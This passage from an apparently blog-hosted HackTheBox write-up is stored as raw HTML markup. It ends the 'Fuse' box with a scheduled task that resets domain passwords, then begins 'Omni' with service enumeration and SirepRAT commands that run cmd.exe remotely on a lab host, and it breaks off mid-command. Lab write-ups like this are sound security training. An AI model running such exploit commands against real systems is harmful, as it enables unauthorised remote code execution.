how the scheduled task was being executed and also read a few other write-ups.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The first one looked like the scheduled task that reset the passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0344.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /tn &amp;#34;Revert Password and Expiry&amp;#34; /fo LIST /v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Folder: \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HostName: FUSE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TaskName: \Revert Password and Expiry&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Next Run Time: 11/30/2024 7:44:00 PM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Status: Ready&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Logon Mode: Interactive only&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Last Run Time: 11/30/2024 7:43:00 PM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Last Result: 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Author: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Task To Run: powershell.exe -c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity bnielson | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -R&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start In: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Comment: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Scheduled Task State: Enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Idle Time: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Power Management: Stop On Battery Mode, No Start On Batteries&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Run As User: FABRICORP\Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Delete Task If Not Rescheduled: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stop Task If Runs X Hours and X Mins: 72:00:00&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Schedule: Scheduling data is not available in this format.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Schedule Type: One Time Only, Minute&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start Time: 12:00:00 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start Date: 6/10/2020&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;End Date: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Days: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Months: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Every: 0 Hour(s), 1 Minute(s)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Until: Time: None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Until: Duration: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Stop If Still Running: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It ran once a minute and changed the passwords for bnielson and tlavel back to Fabricorp01, but the PowerShell command shown here looked incomplete.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /tn &amp;#34;Revert Password and Expiry&amp;#34; /xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-16&amp;#34;?&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;Task version=&amp;#34;1.2&amp;#34; xmlns=&amp;#34;http://schemas.microsoft.com/windows/2004/02/mit/task&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;RegistrationInfo&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;URI&amp;gt;\Revert Password and Expiry&amp;lt;/URI&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/RegistrationInfo&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Principals&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Principal id=&amp;#34;Author&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;UserId&amp;gt;S-1-5-21-2633719317-1471316042-3957863514-500&amp;lt;/UserId&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;LogonType&amp;gt;InteractiveToken&amp;lt;/LogonType&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Principal&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Principals&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Settings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;DisallowStartIfOnBatteries&amp;gt;true&amp;lt;/DisallowStartIfOnBatteries&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;StopIfGoingOnBatteries&amp;gt;true&amp;lt;/StopIfGoingOnBatteries&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;MultipleInstancesPolicy&amp;gt;IgnoreNew&amp;lt;/MultipleInstancesPolicy&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;IdleSettings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Duration&amp;gt;PT10M&amp;lt;/Duration&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;WaitTimeout&amp;gt;PT1H&amp;lt;/WaitTimeout&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;StopOnIdleEnd&amp;gt;true&amp;lt;/StopOnIdleEnd&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;RestartOnIdle&amp;gt;false&amp;lt;/RestartOnIdle&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/IdleSettings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Settings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Triggers&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;TimeTrigger&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;StartBoundary&amp;gt;2020-06-10T00:00:00&amp;lt;/StartBoundary&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Repetition&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Interval&amp;gt;PT1M&amp;lt;/Interval&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Repetition&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/TimeTrigger&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Triggers&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Actions Context=&amp;#34;Author&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Exec&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Command&amp;gt;powershell.exe&amp;lt;/Command&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Arguments&amp;gt;-c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity bnielson | Set-ADUser -Ch&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;angePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity tlavel | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity bhult -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity bhult | Set-ADUser -ChangePasswordAtLogon:$true;&amp;lt;/Arguments&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Exec&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Actions&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/Task&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This output was complete. It reset the passwords and set Set-ADUser -ChangePasswordAtLogon:$true.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s why every login attempt kept saying the password had to be changed. Next, I looked at the overall approach taken in other write-ups.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0345.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No wonder the password kept reverting. The intention behind it was good.&lt;/p&gt;&#10;&lt;p&gt;I read quite a few write-ups, and their basic approach was mostly the same. Only this person automated the process of obtaining the password, then ran whatever command they wanted at the bottom.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0346.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="16omni"&gt;&lt;a href="#16omni" class="header-anchor"&gt;&lt;/a&gt;16.Omni&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0347.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0348.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Trying RPC with a blank password:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N 10.10.10.204&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;WinRM on port 5985 was no good without credentials either, and it is generally used after getting a shell anyway.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0349.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 8080 required authentication. I planned to figure out what framework it was running and then brute-force the directories.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0350.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a temporary redirect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0351.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing much there, but I found a CSS file in the page source.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.204:8080/css/common.css" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.204:8080/css/common.css&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0352.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0353.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0354.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;None of them contained anything useful, though.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://serverfault.com/questions/52199/security-risk-microsoft-httpapi-2-0" target="_blank" rel="noopener"&#10; &gt;https://serverfault.com/questions/52199/security-risk-microsoft-httpapi-2-0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post suggested there might be a SQL Server web application behind it, but I could not find any similarities at all, so that was probably not the case.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTP/1.1 401 Unauthorized&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Server: Microsoft-HTTPAPI/2.0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WWW-Authenticate: Basic realm=&amp;#34;Windows Device Portal&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Date: Sun, 01 Dec 2024 20:32:22 GMT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Length: 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The response told me that this application was Windows Device Portal, but I still found nothing useful and got stuck here for quite a while again.&lt;/p&gt;&#10;&lt;p&gt;It really did seem like there was nothing there, so I tried looking at ports 29817, 29819, and 29820.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0355.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The nmap results were the same as during my initial information gathering, without much to go on. The interesting part was that two ports responded.&lt;/p&gt;&#10;&lt;p&gt;I had no idea what any of these services were, so all I could do was google their defaults.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0356.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As I dug deeper, I found an exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/SafeBreach-Labs/SirepRAT" target="_blank" rel="noopener"&#10; &gt;https://github.com/SafeBreach-Labs/SirepRAT&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It was very convenient to use, too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0357.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—it worked.&lt;/p&gt;&#10;&lt;p&gt;I spent a very long time investigating this part. The shell I generated with msfvenom could be written to disk, but executing it never gave me a callback. I kept thinking I had written it incorrectly, but apparently it simply could not connect back.&lt;/p&gt;&#10;&lt;p&gt;The command below revealed a directory to me.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd &amp;#34;C:\Windows\System32\cmd.exe&amp;#34; --args &amp;#34; /c echo {{userprofile}}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;HResultResult | type: 1, payload length: 4, HResult: 0x0&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;OutputStreamResult | type: 11, payload length: 30, payload peek: &amp;#39;b&amp;#39;C:\\Data\\Users\\DefaultAccount\r\n&amp;#39;&amp;#39;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;ErrorStreamResult | type: 12, payload length: 4, payload peek: &amp;#39;b&amp;#39;\x00\x00\x00\x00&amp;#39;&amp;#39;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The C:\Data\Users\DefaultAccount directory was writable. I uploaded a lot of files there and checked them with dir; everything looked fine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd 